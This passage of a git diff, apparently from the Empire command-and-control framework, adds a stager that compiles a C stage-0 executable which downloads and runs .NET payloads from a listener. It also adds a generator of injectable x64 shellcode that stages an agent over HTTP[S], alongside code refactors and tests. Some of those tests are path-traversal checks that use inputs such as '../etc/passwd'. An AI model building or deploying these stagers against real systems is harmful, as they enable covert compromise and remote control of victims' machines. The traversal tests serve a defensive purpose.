binary_file_str + ".py", + str(binary_path.with_suffix(".py")), ], check=False, ) - with open(binary_file_str, "rb") as f: - return f.read() + return binary_path.read_bytes() diff --git a/empire/server/stagers/multi/go_exe.py b/empire/server/stagers/multi/go_exe.py index f00559a90..42fedcf0b 100644 --- a/empire/server/stagers/multi/go_exe.py +++ b/empire/server/stagers/multi/go_exe.py @@ -1,3 +1,6 @@ +from pathlib import Path + + class Stager: def __init__(self, mainMenu): self.info = { @@ -51,7 +54,5 @@ def generate(self): directory = self.mainMenu.stagergenv2.generate_go_stageless(self.options) if directory: - with open(directory, "rb") as f: - return f.read() - else: - return None + return Path(directory).read_bytes() + return None diff --git a/empire/server/stagers/multi/launcher.py b/empire/server/stagers/multi/launcher.py index 9cc3d42ac..f74d1cb24 100644 --- a/empire/server/stagers/multi/launcher.py +++ b/empire/server/stagers/multi/launcher.py @@ -118,7 +118,7 @@ def generate(self): if obfuscate.lower() == "true": invoke_obfuscation = True - if language in ["csharp"]: + if language == "csharp": if self.mainMenu.listenersv2.get_active_listener_by_name( listener_name ).info["Name"] not in ["HTTP[S]", "smb_pivot"]: @@ -134,7 +134,7 @@ def generate(self): encode=encode, listener_name=listener_name, ) - elif language in ["ironpython"]: + elif language == "ironpython": launcher = self.mainMenu.stagergenv2.generate_exe_oneliner( language=language, obfuscate=invoke_obfuscation, diff --git a/empire/server/stagers/windows/c_launcher.py b/empire/server/stagers/windows/c_launcher.py new file mode 100644 index 000000000..d448ca4fd --- /dev/null +++ b/empire/server/stagers/windows/c_launcher.py @@ -0,0 +1,143 @@ +import base64 +import logging +import subprocess +import tempfile +from pathlib import Path + +from empire.server.common import packets + +log = logging.getLogger(__name__) + + +class Stager: + def __init__(self, mainMenu): + self.info = { + "Name": "C Windows Stager", + "Authors": [ + { + "Name": "Anthony Rose", + "Handle": "@Cx01N", + "Link": "https://twitter.com/Cx01N_", + } + ], + "Description": "Compiles a stage 0 C stager that pulls down stage 1 .NET payloads for Windows. Used as an initial stager to download and execute .NET-based Empire payloads.", + "Comments": [""], + } + + self.options = { + "Listener": { + "Description": "Listener to generate stager for.", + "Required": True, + "Value": "", + }, + "Language": { + "Description": "Language of the stager to generate.", + "Required": True, + "Value": "csharp", + "SuggestedValues": [ + "powershell", + "ironpython", + "csharp", + ], + "Strict": True, + }, + "OutFile": { + "Description": "Filename that should be used for the generated output.", + "Required": True, + "Value": "stager.exe", + }, + } + + self.mainMenu = mainMenu + + def generate(self): + listener_name = self.options["Listener"]["Value"] + language = self.options["Language"]["Value"] + listener = self.mainMenu.listenersv2.get_active_listener_by_name(listener_name) + + if not listener: + log.error(f"[!] Listener '{listener_name}' not found or not active.") + return "" + + if listener.info.get("Name") != "HTTP[S]": + log.error("[!] c_launcher only supports the HTTP[S] listener.") + return "" + + host = listener.options["Host"]["Value"] + port = listener.options["Port"]["Value"] + staging_key = listener.options["StagingKey"]["Value"] + cookie_name = listener.options["Cookie"]["Value"] + + profile = listener.options["DefaultProfile"]["Value"] + uris = [a.strip("/") for a in profile.split("|")[0].split(",")] + staging_path = f"/{uris[0]}" + + routing_packet = packets.build_routing_packet( + staging_key, + sessionID="00000000", + language=language, + meta="STAGE0", + additional="SHELLCODE", + encData="", + ) + + b64_routing_packet = base64.b64encode(routing_packet).decode("UTF-8") + cookie_value = f"{cookie_name}={b64_routing_packet}" + + use_https = "TRUE" if "https" in host.lower() else "FALSE" + clean_host = ( + host.replace("http://", "") + .replace("https://", "") + .split(":")[0] + .split("/")[0] + ) + + template_path = Path(self.mainMenu.installPath) / "data" / "misc" / "windows.c" + if not template_path.exists(): + log.error(f"[!] Template not found at {template_path}") + return "" + + code = template_path.read_text() + + code = code.replace("{{ host }}", clean_host) + code = code.replace("{{ port }}", str(port)) + code = code.replace("{{ staging_path }}", staging_path) + code = code.replace("{{ use_https }}", use_https) + code = code.replace("{{ cookie }}", cookie_value) + + with tempfile.TemporaryDirectory() as temp_dir: + c_file = Path(temp_dir) / "windows.c" + exe_file = Path(temp_dir) / "stager.exe" + + c_file.write_text(code) + + compiler = "x86_64-w64-mingw32-gcc" + args = [ + compiler, + "-std=c99", + "-Os", + "-s", + "-fno-ident", + "-fno-asynchronous-unwind-tables", + "-ffunction-sections", + "-fdata-sections", + str(c_file), + "-o", + str(exe_file), + "-lwinhttp", + "-lbcrypt", + "-static", + "-Wl,-subsystem,windows", + "-Wl,--gc-sections", + ] + + try: + subprocess.run(args, capture_output=True, text=True, check=True) + except subprocess.CalledProcessError as e: + log.error(f"[!] Compilation failed: {e.stderr}") + return "" + + if exe_file.exists(): + return exe_file.read_bytes() + log.error("[!] Exe file was not created.") + return "" diff --git a/empire/server/stagers/windows/csharp_exe.py b/empire/server/stagers/windows/csharp_exe.py index 768c3b52e..6a3449647 100755 --- a/empire/server/stagers/windows/csharp_exe.py +++ b/empire/server/stagers/windows/csharp_exe.py @@ -151,18 +151,15 @@ def generate(self): directory = self.mainMenu.stagergenv2.generate_powershell_exe( launcher, dot_net_version=dot_net_version, obfuscate=obfuscate_script ) - with open(directory, "rb") as f: - return f.read() + return Path(directory).read_bytes() - elif language.lower() == "csharp": + if language.lower() == "csharp": return Path(launcher).read_bytes() - elif language.lower() == "ironpython": + if language.lower() == "ironpython": directory = self.mainMenu.stagergenv2.generate_python_exe( launcher, dot_net_version=dot_net_version, obfuscate=obfuscate_script ) - with open(directory, "rb") as f: - return f.read() + return Path(directory).read_bytes() - else: - return "[!] Invalid launcher language." + return "[!] Invalid launcher language." diff --git a/empire/server/stagers/windows/launcher_bat.py b/empire/server/stagers/windows/launcher_bat.py index 2099145aa..3414855d6 100644 --- a/empire/server/stagers/windows/launcher_bat.py +++ b/empire/server/stagers/windows/launcher_bat.py @@ -86,7 +86,7 @@ def generate(self): return "" launcher = "" - if listener.module in ["http"]: + if listener.module == "http": if language == "powershell": launcher = self.mainMenu.stagergenv2.generate_launcher( listener_name=listener_name, diff --git a/empire/server/stagers/windows/shellcode_launcher.py b/empire/server/stagers/windows/shellcode_launcher.py new file mode 100644 index 000000000..be2cabbd7 --- /dev/null +++ b/empire/server/stagers/windows/shellcode_launcher.py @@ -0,0 +1,59 @@ +import logging + +from empire.server.utils.shellcode_compiler import generate_pic_shellcode + +log = logging.getLogger(__name__) + + +class Stager: + def __init__(self, mainMenu): + self.info = { + "Name": "C Shellcode Launcher", + "Authors": [ + { + "Name": "Anthony Rose", + "Handle": "@Cx01N", + "Link": "https://twitter.com/Cx01N_", + }, + ], + "Description": "Compiles a PIC (position-independent code) shellcode .bin that stages an Empire agent via HTTP[S]. Uses the same download-and-execute logic as c_launcher but outputs raw x64 shellcode suitable for injection.", + "Comments": [""], + } + + self.options = { + "Listener": { + "Description": "Listener to generate stager for.", + "Required": True, + "Value": "", + }, + "Language": { + "Description": "Language of the stager to generate.", + "Required": True, + "Value": "csharp", + "SuggestedValues": [ + "powershell", + "ironpython", + "csharp", + ], + "Strict": True, + }, + "OutFile": { + "Description": "Filename that should be used for the generated output.", + "Required": True, + "Value": "launcher.bin", + }, + } + + self.mainMenu = mainMenu + + def generate(self): + listener_name = self.options["Listener"]["Value"] + language = self.options["Language"]["Value"] + + try: + shellcode = generate_pic_shellcode(self.mainMenu, listener_name, language) + except Exception as e: + log.error(f"[!] Shellcode generation failed: {e}") + return "" + + return shellcode diff --git a/empire/server/utils/bof_packer.py b/empire/server/utils/bof_packer.py index c004b58b6..1b37ba7e1 100644 --- a/empire/server/utils/bof_packer.py +++ b/empire/server/utils/bof_packer.py @@ -1,77 +1,87 @@ import base64 import shlex +import struct from binascii import hexlify -from struct import calcsize, pack + + +class Packer: + def __init__(self): + self.buffer = bytearray() + + @property + def size(self) -> int: + return len(self.buffer) + + def getbuffer(self) -> bytes: + return struct.pack(" str: + return base64.b64encode(hexlify(self.getbuffer())).decode("utf-8") def process_arguments(format_string, arguments): - """ - Processes a single string of arguments into a list and passes - them to bof_pack. Handles quoted strings properly. Returns hexlified packed data. - """ arg_list = shlex.split(arguments) - packed_data = bof_pack(format_string, arg_list) - return base64.b64encode(hexlify(packed_data)).decode("utf-8") + p = Packer() + packed_data = p.bof_pack(format_string, arg_list) - -def bof_pack(fstring: str, args: list): - """ - Packs arguments in a format suitable for sending to a beacon-object-file (BOF). - """ - buffer = b"" - size = 0 - - def addshort(short): - nonlocal buffer, size - buffer += pack(" str: + """Convert a Python string to a C WCHAR array initializer. + + Example: "hello" -> "{'h','e','l','l','o',0}" + + Special characters (quotes, backslashes, non-ASCII) are emitted + as hex literals to avoid C escaping issues. + """ + _MAX_PRINTABLE = 126 + _MIN_PRINTABLE = 32 + parts = [] + for c in s: + if c in {"'", "\\"} or ord(c) > _MAX_PRINTABLE or ord(c) < _MIN_PRINTABLE: + parts.append(f"0x{ord(c):04x}") + else: + parts.append(f"'{c}'") + return "{" + ",".join(parts) + ",0}" + + +def generate_pic_shellcode( + main_menu, + listener_name: str, + language: str, +) -> bytes: + """Generate PIC shellcode that stages an Empire agent via HTTP[S]. + + Extracts listener parameters (same logic as c_launcher stager), + substitutes them into the PIC C template, compiles with MinGW, + and extracts the .text section as raw injectable shellcode. + + Args: + main_menu: Empire MainMenu instance (DI container). + listener_name: Name of an active HTTP[S] listener. + language: Agent language (powershell, csharp, ironpython). + + Returns: + Raw x64 shellcode bytes. + + Raises: + ModuleExecutionException: On invalid listener, missing compiler, + or compilation failure. + """ + listener = main_menu.listenersv2.get_active_listener_by_name(listener_name) + if not listener: + raise ModuleExecutionException(f"Invalid listener: {listener_name}") + if listener.info.get("Name") != "HTTP[S]": + raise ModuleExecutionException("PIC shellcode only supports HTTP[S] listeners") + + # Extract listener parameters (mirrors c_launcher.py lines 66-93) + host = listener.options["Host"]["Value"] + port = listener.options["Port"]["Value"] + staging_key = listener.options["StagingKey"]["Value"] + cookie_name = listener.options["Cookie"]["Value"] + + profile = listener.options["DefaultProfile"]["Value"] + uris = [a.strip("/") for a in profile.split("|")[0].split(",")] + staging_path = f"/{uris[0]}" + + routing_packet = packets.build_routing_packet( + staging_key, + sessionID="00000000", + language=language, + meta="STAGE0", + additional="SHELLCODE", + encData="", + ) + b64_routing_packet = base64.b64encode(routing_packet).decode("UTF-8") + cookie_value = f"{cookie_name}={b64_routing_packet}" + + use_https = "TRUE" if "https" in host.lower() else "FALSE" + clean_host = ( + host.replace("http://", "").replace("https://", "").split(":")[0].split("/")[0] + ) + + # Resolve data paths + data_dir = Path(main_menu.installPath) / "data" / "misc" + template_path = data_dir / "windows_shellcode.c" + linker_script = data_dir / "pic_shellcode.ld" + if not template_path.exists(): + raise ModuleExecutionException( + f"PIC shellcode template not found at {template_path}" + ) + if not linker_script.exists(): + raise ModuleExecutionException( + f"PIC linker script not found at {linker_script}" + ) + code = template_path.read_text() + code = code.replace("{{ host }}", _string_to_wchar_initializer(clean_host)) + code = code.replace("{{ port }}", str(port)) + code = code.replace("{{ path }}", _string_to_wchar_initializer(staging_path)) + code = code.replace("{{ use_https }}", use_https) + code = code.replace("{{ cookie }}", _string_to_wchar_initializer(cookie_value)) + return _compile_pic(code, linker_script) + + +def _compile_pic(code: str, linker_script: Path) -> bytes: + """Compile substituted C code into raw PIC shellcode. + Uses a linker script to merge .rdata/.data/.bss into .text so that + objcopy -O binary -j .text produces a self-contained flat binary + with no dangling RIP-relative references. + """ + compiler = "x86_64-w64-mingw32-gcc" + objcopy = "x86_64-w64-mingw32-objcopy" + + with tempfile.TemporaryDirectory() as tmp_dir: + tmp = Path(tmp_dir) + c_file = tmp / "shellcode.c" + pe_file = tmp / "shellcode.exe" + bin_file = tmp / "shellcode.bin" + + c_file.write_text(code) + + compile_args = [ + compiler, + "-nostdlib", + "-Os", + "-s", + "-fno-ident", + "-fno-asynchronous-unwind-tables", + "-fno-toplevel-reorder", + "-T", + str(linker_script), + str(c_file), + "-o", + str(pe_file), + "-Wl,--no-seh", + "-Wl,-e,AlignRSP", + ] + + try: + subprocess.run(compile_args, capture_output=True, text=True, check=True) + except FileNotFoundError: + raise ModuleExecutionException( + f"{compiler} not found. Install mingw-w64: " + "apt install gcc-mingw-w64-x86-64" + ) from None + except subprocess.CalledProcessError as e: + log.error("PIC shellcode compilation failed: %s", e.stderr) + raise ModuleExecutionException( + f"PIC shellcode compilation failed: {e.stderr}" + ) from e + + extract_args = [ + objcopy, + "-O", + "binary", + "-j", + ".text", + str(pe_file), + str(bin_file), + ] + + try: + subprocess.run(extract_args, capture_output=True, text=True, check=True) + except subprocess.CalledProcessError as e: + log.error("objcopy .text extraction failed: %s", e.stderr) + raise ModuleExecutionException( + f"objcopy .text extraction failed: {e.stderr}" + ) from e + + if not bin_file.exists() or bin_file.stat().st_size == 0: + raise ModuleExecutionException( + "PIC shellcode extraction produced empty output" + ) + + return bin_file.read_bytes() diff --git a/empire/test/conftest.py b/empire/test/conftest.py index f416271b5..10ea4dff7 100644 --- a/empire/test/conftest.py +++ b/empire/test/conftest.py @@ -177,6 +177,33 @@ def session_local(client): return SessionLocal +def make_agent(models, **overrides): + """Factory for creating Agent model instances with sensible defaults.""" + name = overrides.pop("name", f"agent_{get_random_string(5)}") + overrides.setdefault("session_id", name) + defaults = { + "name": name, + "delay": 1, + "jitter": 0.1, + "external_ip": "1.1.1.1", + "session_key": "qwerty", + "nonce": "nonce", + "profile": "profile", + "kill_date": "killDate", + "working_hours": "workingHours", + "lost_limit": 60, + "listener": "http", + "language": "powershell", + "language_version": "5", + "high_integrity": True, + "process_name": "proc", + "process_id": 12345, + "archived": False, + } + defaults.update(overrides) + return models.Agent(**defaults) + + @pytest.fixture def host(session_local, models): with session_local.begin() as db: @@ -194,33 +221,18 @@ def host(session_local, models): @pytest.fixture def agent(session_local, models, host, main): with session_local.begin() as db: - name = f"agent_{get_random_string(5)}" - agent = models.Agent( - name=name, - session_id=name, - delay=1, - jitter=0.1, - external_ip="1.1.1.1", + agent = make_agent( + models, session_key="2c103f2c4ed1e59c0b4e2e01821770fa", - nonce="nonce", - profile="profile", - kill_date="killDate", - working_hours="workingHours", - lost_limit=60, - listener="http", - language="powershell", - language_version="5", - high_integrity=True, process_name="abc", process_id=123, host_id=host, - archived=False, ) db.add(agent) db.add(models.AgentCheckIn(agent_id=agent.session_id)) db.flush() - main.agentcommsv2.agents[name] = { + main.agentcommsv2.agents[agent.session_id] = { "sessionKey": agent.session_key, "language": agent.language, } @@ -231,143 +243,71 @@ def agent(session_local, models, host, main): # These are global for test_agent_api and test_agents -@pytest.fixture(scope="session", autouse=True) +@pytest.fixture(scope="session") def agents(session_local, models, main): random_string = get_random_string(5) with session_local.begin() as db: host = models.Host(name=f"host_{get_random_string(5)}", internal_ip="127.0.0.1") - agent = models.Agent( - name=f"TEST123_{random_string}", - session_id=f"TEST123_{random_string}", - delay=60, - jitter=0.1, - external_ip="1.1.1.1", - session_key="qwerty", - nonce="nonce", - profile="profile", - kill_date="killDate", - working_hours="workingHours", - lost_limit=60, - listener="http", - language="powershell", - language_version="5", - high_integrity=False, - process_name="proc", - process_id=12345, - hostname="vinnybod", - host=host, - archived=False, - ) - - agent2 = models.Agent( - name=f"SECOND_{random_string}", - session_id=f"SECOND_{random_string}", - delay=60, - jitter=0.1, - external_ip="1.1.1.1", - session_key="qwerty", - nonce="nonce", - profile="profile", - kill_date="killDate", - working_hours="workingHours", - lost_limit=60, - listener="http", - language="powershell", - language_version="5", - high_integrity=False, - process_name="proc", - process_id=12345, - hostname="vinnybod", - host=host, - archived=False, - ) - - agent3 = models.Agent( - name=f"ARCHIVED_{random_string}", - session_id=f"ARCHIVED_{random_string}", - delay=60, - jitter=0.1, - external_ip="1.1.1.1", - session_key="qwerty", - nonce="nonce", - profile="profile", - kill_date="killDate", - working_hours="workingHours", - lost_limit=60, - listener="http", - language="powershell", - language_version="5", - high_integrity=False, - process_name="proc", - process_id=12345, - hostname="vinnybod", - host=host, - archived=True, - ) - - agent4 = models.Agent( - name=f"STALE_{random_string}", - session_id=f"STALE_{random_string}", - delay=1, - jitter=0.1, - external_ip="1.1.1.1", - session_key="qwerty", - nonce="nonce", - profile="profile", - kill_date="killDate", - working_hours="workingHours", - lost_limit=60, - listener="http", - language="powershell", - language_version="5", - high_integrity=False, - process_name="proc", - process_id=12345, - hostname="vinnybod", - host=host, - archived=False, - ) + agent_defs = [ + { + "name": f"TEST123_{random_string}", + "delay": 60, + "high_integrity": False, + "hostname": "vinnybod", + "host": host, + }, + { + "name": f"SECOND_{random_string}", + "delay": 60, + "high_integrity": False, + "hostname": "vinnybod", + "host": host, + }, + { + "name": f"ARCHIVED_{random_string}", + "delay": 60, + "high_integrity": False, + "hostname": "vinnybod", + "host": host, + "archived": True, + }, + { + "name": f"STALE_{random_string}", + "delay": 1, + "high_integrity": False, + "hostname": "vinnybod", + "host": host, + }, + ] db.add(host) - db.add(agent) - db.add(agent2) - db.add(agent3) - db.add(agent4) - db.add(models.AgentCheckIn(agent_id=agent.session_id)) - db.add(models.AgentCheckIn(agent_id=agent2.session_id)) - db.add(models.AgentCheckIn(agent_id=agent3.session_id)) - db.add( - models.AgentCheckIn( - agent_id=agent4.session_id, - checkin_time=datetime.now(UTC) - timedelta(days=2), - ) - ) + agent_objs = [] + for kwargs in agent_defs: + agent_obj = make_agent(models, **kwargs) + db.add(agent_obj) + agent_objs.append(agent_obj) + + stale_index = len(agent_defs) - 1 + for i, agent_obj in enumerate(agent_objs): + checkin_kwargs = {"agent_id": agent_obj.session_id} + if i == stale_index: # STALE agent gets an old checkin + checkin_kwargs["checkin_time"] = datetime.now(UTC) - timedelta(days=2) + db.add(models.AgentCheckIn(**checkin_kwargs)) + db.flush() - agents = [agent, agent2, agent3, agent4] - main.agentcommsv2.agents[f"TEST123_{random_string}"] = { - "sessionKey": agents[0].session_key, - "functions": agents[0].functions, - } - main.agentcommsv2.agents[f"SECOND_{random_string}"] = { - "sessionKey": agents[1].session_key, - "functions": agents[1].functions, - } - main.agentcommsv2.agents[f"ARCHIVED_{random_string}"] = { - "sessionKey": agents[2].session_key, - "functions": agents[2].functions, - } - main.agentcommsv2.agents[f"STALE_{random_string}"] = { - "sessionKey": agents[3].session_key, - "functions": agents[3].functions, - } + for agent_obj in agent_objs: + main.agentcommsv2.agents[agent_obj.session_id] = { + "sessionKey": agent_obj.session_key, + "functions": agent_obj.functions, + } - return [agent.session_id for agent in agents] + return [agent_obj.session_id for agent_obj in agent_objs] @pytest.fixture -def agent_task(client, admin_auth_header, agent, session_local, main): +def agent_task(client, admin_auth_header, agent): resp = client.post( f"/api/v2/agents/{agent}/tasks/shell", headers=admin_auth_header, @@ -377,6 +317,23 @@ def agent_task(client, admin_auth_header, agent, session_local, main): return resp.json() +@pytest.fixture +def plugin_task(main, session_local, models): + with session_local.begin() as db: + task = models.PluginTask( + plugin_id="basic_reporting", + input="This is the trimmed input for the task.", + input_full="This is the full input for the task.", + user_id=1, + plugin_options={"report": "all"}, + ) + db.add(task) + db.flush() + task_id = task.id + + return task_id # noqa RET504 + + @pytest.fixture def credential(client, admin_auth_header): resp = client.post( diff --git a/empire/test/test_agent_api.py b/empire/test/test_agent_api.py index ca54156a8..c8c55ffd6 100644 --- a/empire/test/test_agent_api.py +++ b/empire/test/test_agent_api.py @@ -17,14 +17,14 @@ def test_get_agent(client, agent, admin_auth_header): assert response.json()["session_id"] == agent -def test_get_agents(client, admin_auth_header): +def test_get_agents(client, admin_auth_header, agents): response = client.get("/api/v2/agents", headers=admin_auth_header) assert response.status_code == status.HTTP_200_OK assert len(response.json()["records"]) > 0 -def test_get_agents_include_stale_false(client, admin_auth_header): +def test_get_agents_include_stale_false(client, admin_auth_header, agents): response = client.get( "/api/v2/agents?include_stale=false", headers=admin_auth_header ) @@ -34,7 +34,7 @@ def test_get_agents_include_stale_false(client, admin_auth_header): assert all(record["stale"] is False for record in response.json()["records"]) -def test_get_agents_include_archived_true(client, admin_auth_header): +def test_get_agents_include_archived_true(client, admin_auth_header, agents): response = client.get( "/api/v2/agents?include_archived=true", headers=admin_auth_header ) diff --git a/empire/test/test_agent_checkins_api.py b/empire/test/test_agent_checkins_api.py index 9dfbf5609..970389f19 100644 --- a/empire/test/test_agent_checkins_api.py +++ b/empire/test/test_agent_checkins_api.py @@ -6,61 +6,11 @@ from starlette import status from empire.server.utils.string_util import get_random_string +from empire.test.conftest import make_agent log = logging.getLogger(__name__) -@pytest.fixture -def agents(session_local, host, models): - agent_ids = [] - with session_local.begin() as db: - for n in range(agent_count): - agent_id = f"agent_{get_random_string(5)}_{n}" - agent_ids.append(agent_id) - default_agent(agent_id, models, db, host) - - yield agent_ids - - with session_local.begin() as db: - db.query(models.AgentCheckIn).filter( - models.AgentCheckIn.agent_id.in_(agent_ids) - ).delete() - - # Keep One check in for each agent - for agent_id in agent_ids: - db.add( - models.AgentCheckIn(agent_id=agent_id, checkin_time=datetime.now(UTC)) - ) - - -def default_agent(session_id, models, db, host): - db.add( - models.Agent( - name=session_id, - session_id=session_id, - delay=60, - jitter=0.1, - internal_ip="1.2.3.4", - external_ip="1.1.1.1", - session_key="qwerty", - nonce="nonce", - profile="profile", - kill_date="killDate", - working_hours="workingHours", - lost_limit=60, - listener="http", - language="powershell", - language_version="5", - high_integrity=False, - process_name="proc", - process_id=12345, - hostname="vinnybod", - host_id=host, - archived=False, - ) - ) - - async def _create_checkins(session_local, models, agent_ids): await asyncio.gather( *[_create_checkin(session_local, models, agent_id) for agent_id in agent_ids] @@ -88,6 +38,48 @@ async def _create_checkin(session_local, models, agent_id): db_2.add_all(checkins) +@pytest.fixture(scope="module") +def agents_with_checkins(session_local, models): + with session_local.begin() as db: + host = db.merge( + models.Host(name=f"host_{get_random_string(5)}", internal_ip="192.168.0.1") + ) + db.flush() + host_id = host.id + + agent_ids = [] + with session_local.begin() as db: + for n in range(agent_count): + agent_id = f"agent_{get_random_string(5)}_{n}" + agent_ids.append(agent_id) + db.add( + make_agent( + models, + name=agent_id, + delay=60, + high_integrity=False, + hostname="vinnybod", + internal_ip="1.2.3.4", + host_id=host_id, + ) + ) + + asyncio.run(_create_checkins(session_local, models, agent_ids)) + + yield agent_ids + + with session_local.begin() as db: + db.query(models.AgentCheckIn).filter( + models.AgentCheckIn.agent_id.in_(agent_ids) + ).delete() + + # Keep one check-in for each agent + for agent_id in agent_ids: + db.add( + models.AgentCheckIn(agent_id=agent_id, checkin_time=datetime.now(UTC)) + ) + + def test_get_agent_checkins_agent_not_found(client, admin_auth_header): response = client.get("/api/v2/agents/XYZ123/checkins", headers=admin_auth_header) @@ -97,18 +89,18 @@ def test_get_agent_checkins_agent_not_found(client, admin_auth_header): @pytest.mark.slow def test_get_agent_checkins_with_limit_and_page( - client, admin_auth_header, agents, session_local, models + client, admin_auth_header, agents_with_checkins ): - asyncio.run(_create_checkins(session_local, models, agents)) + agents = agents_with_checkins response = client.get( f"/api/v2/agents/{agents[0]}/checkins?limit=10&page=1", headers=admin_auth_header, ) - checkin_count = 10 + limit = 10 assert response.status_code == status.HTTP_200_OK - assert len(response.json()["records"]) == checkin_count + assert len(response.json()["records"]) == limit assert response.json()["total"] >= days_back * 4320 assert response.json()["page"] == 1 @@ -119,12 +111,10 @@ def test_get_agent_checkins_with_limit_and_page( headers=admin_auth_header, ) - checkin_count = 10 - page_count = 2 assert response.status_code == status.HTTP_200_OK - assert len(response.json()["records"]) == checkin_count + assert len(response.json()["records"]) == limit assert response.json()["total"] >= days_back * 4320 - assert response.json()["page"] == page_count + assert response.json()["page"] == 2 # noqa: PLR2004 page2 = response.json()["records"] @@ -133,9 +123,9 @@ def test_get_agent_checkins_with_limit_and_page( @pytest.mark.slow def test_get_agent_checkins_multiple_agents( - client, admin_auth_header, agents, session_local, models + client, admin_auth_header, agents_with_checkins ): - asyncio.run(_create_checkins(session_local, models, agents)) + agents = agents_with_checkins response = client.get( "/api/v2/agents/checkins", @@ -150,13 +140,11 @@ def test_get_agent_checkins_multiple_agents( @pytest.mark.slow def test_agent_checkins_aggregate( - client, admin_auth_header, session_local, models, agents, empire_config + client, admin_auth_header, agents_with_checkins, empire_config ): if empire_config.database.use == "sqlite": pytest.skip("sqlite not supported for checkin aggregation") - asyncio.run(_create_checkins(session_local, models, agents)) - response = client.get( "/api/v2/agents/checkins/aggregate", headers=admin_auth_header, diff --git a/empire/test/test_agent_communication_service.py b/empire/test/test_agent_communication_service.py index dc31d7c1f..fc2314633 100644 --- a/empire/test/test_agent_communication_service.py +++ b/empire/test/test_agent_communication_service.py @@ -1,6 +1,15 @@ +import os +import struct +import zlib + import pytest +from sqlalchemy import create_engine, text +from sqlalchemy.orm import sessionmaker +from empire.server.common import packets from empire.server.common.empire import MainMenu +from empire.server.core.agent_communication_service import AgentCommunicationService +from empire.server.core.db.base import engine as original_engine from empire.server.core.db.models import AgentTaskStatus @@ -58,14 +67,172 @@ def test_save_file_python( models, agent, agent_task, + empire_config, ): - # Python agent compresses the data - # Also test backslash vs forward slash? - pass + raw = b"Hello from python agent" + crc = zlib.crc32(raw) & 0xFFFFFFFF + header = struct.pack("!I", crc) + compressed = header + zlib.compress(raw, 9) + + file_path = r"C:\Users\Public\python_test.txt" + + # Mark the agent as a python agent in the comms cache + agent_communication_service.agents[agent]["language"] = "python" + + try: + with session_local.begin() as db: + agent_communication_service.save_file( + db, + agent, + file_path, + compressed, + len(raw), + agent_task_service.get_task_for_agent(db, agent, agent_task["id"]), + "python", + ) + + with session_local.begin() as db: + task = agent_task_service.get_task_for_agent(db, agent, agent_task["id"]) + download = task.downloads[-1] + assert download.filename == "python_test.txt" + assert download.get_bytes_file() == raw + finally: + agent_communication_service.agents[agent]["language"] = "powershell" + + +def test_save_module_file(agent_communication_service, agent, empire_config): + data = b"module output data here" + path = "screenshots/test_capture.png" + + result = agent_communication_service.save_module_file( + agent, path, data, "powershell" + ) + assert result is not None + assert result.name == "test_capture.png" + assert result.read_bytes() == data -def test_save_module_file(agent_communication_service, session_local): - pass + +class TestIsPathSafe: + """Direct unit tests for _is_path_safe against adversarial inputs. + + The integration-level skywalker test lives in test_agents.py. + These tests exercise the static method directly with various + traversal and bypass techniques. + """ + + @pytest.fixture + def download_dir(self, tmp_path): + d = tmp_path / "downloads" + d.mkdir() + return d + + @pytest.mark.parametrize( + "relative_path", + [ + "AGENT123/file.txt", + "AGENT123/subdir/file.txt", + "AGENT123/a/b/c/deep.bin", + ], + ) + def test_safe_paths(self, download_dir, relative_path): + save_path = download_dir / relative_path + assert ( + AgentCommunicationService._is_path_safe(save_path, download_dir, "TEST") + is True + ) + + @pytest.mark.parametrize( + ("traversal", "description"), + [ + ("../etc/passwd", "basic unix traversal"), + ("../../etc/shadow", "multi-level unix traversal"), + ("AGENT123/../../etc/cron.d/evil", "traversal after valid prefix"), + ("../../../../../../../etc/passwd", "deep traversal"), + ("AGENT123/../../../etc/passwd", "agent dir then deep traversal"), + ], + ) + def test_traversal_blocked(self, download_dir, traversal, description): + save_path = download_dir / traversal + assert ( + AgentCommunicationService._is_path_safe(save_path, download_dir, "TEST") + is False + ), f"Should block: {description}" + + @pytest.mark.parametrize( + "traversal", + [ + r"..\Windows\System32\evil.dll", + r"AGENT123\..\..\evil.txt", + ], + ) + @pytest.mark.skipif( + os.name != "nt", reason="Backslash is only a path separator on Windows" + ) + def test_backslash_traversal_blocked_on_windows(self, download_dir, traversal): + save_path = download_dir / traversal + assert ( + AgentCommunicationService._is_path_safe(save_path, download_dir, "TEST") + is False + ) + + def test_traversal_to_sibling_directory(self, download_dir): + """Ensure traversal to a sibling of the download dir is blocked.""" + sibling = download_dir.parent / "secrets" / "key.pem" + assert ( + AgentCommunicationService._is_path_safe(sibling, download_dir, "TEST") + is False + ) + + def test_prefix_attack(self, tmp_path): + """A dir whose name starts with the download dir name must be rejected. + + e.g. /tmp/downloads-evil should NOT pass a check for /tmp/downloads. + The old startswith() implementation was vulnerable to this. + """ + download_dir = tmp_path / "downloads" + download_dir.mkdir() + evil_dir = tmp_path / "downloads-evil" + evil_dir.mkdir() + save_path = evil_dir / "payload.txt" + assert ( + AgentCommunicationService._is_path_safe(save_path, download_dir, "TEST") + is False + ) + + def test_dot_segments_in_middle(self, download_dir): + """Path with /./ segments that resolve to the download dir should be safe.""" + save_path = download_dir / "AGENT123" / "." / "file.txt" + assert ( + AgentCommunicationService._is_path_safe(save_path, download_dir, "TEST") + is True + ) + + def test_null_byte_in_path(self, download_dir): + """Null bytes in paths should not bypass the check.""" + # Path() on most OSes will raise ValueError or the resolve will fail + # Either way, it should not return True + try: + save_path = download_dir / "AGENT123/\x00/../../etc/passwd" + result = AgentCommunicationService._is_path_safe( + save_path, download_dir, "TEST" + ) + # If it didn't raise, it must have blocked it + assert result is False + except (ValueError, OSError): + pass # Expected on most platforms + + def test_logs_warning_on_traversal(self, download_dir, caplog): + save_path = download_dir / "../evil.txt" + AgentCommunicationService._is_path_safe(save_path, download_dir, "EVIL_AGENT") + assert any( + "EVIL_AGENT" in msg and "skywalker" in msg for msg in caplog.messages + ) + + def test_no_warning_on_safe_path(self, download_dir, caplog): + save_path = download_dir / "AGENT123/safe.txt" + AgentCommunicationService._is_path_safe(save_path, download_dir, "GOOD_AGENT") + assert not any("skywalker" in msg for msg in caplog.messages) def test__remove_agent( @@ -219,9 +386,13 @@ def test_handle_agent_data(): def test_handle_agent_request( - agent_task_service, agent_communication_service, agent, agent_task, monkeypatch + agent_task_service, + agent_communication_service, + agent, + agent_task, + session_local, ): - task, _ = agent_task_service.add_temporary_task( + _task, _ = agent_task_service.add_temporary_task( agent, "TASK_SHELL", "echo 'hello world'" ) @@ -231,6 +402,108 @@ def test_handle_agent_request( assert packet is not None + # Verify DB task status was persisted as "pulled" (not still "queued") + with session_local.begin() as db: + task = agent_task_service.get_task_for_agent(db, agent, agent_task["id"]) + assert 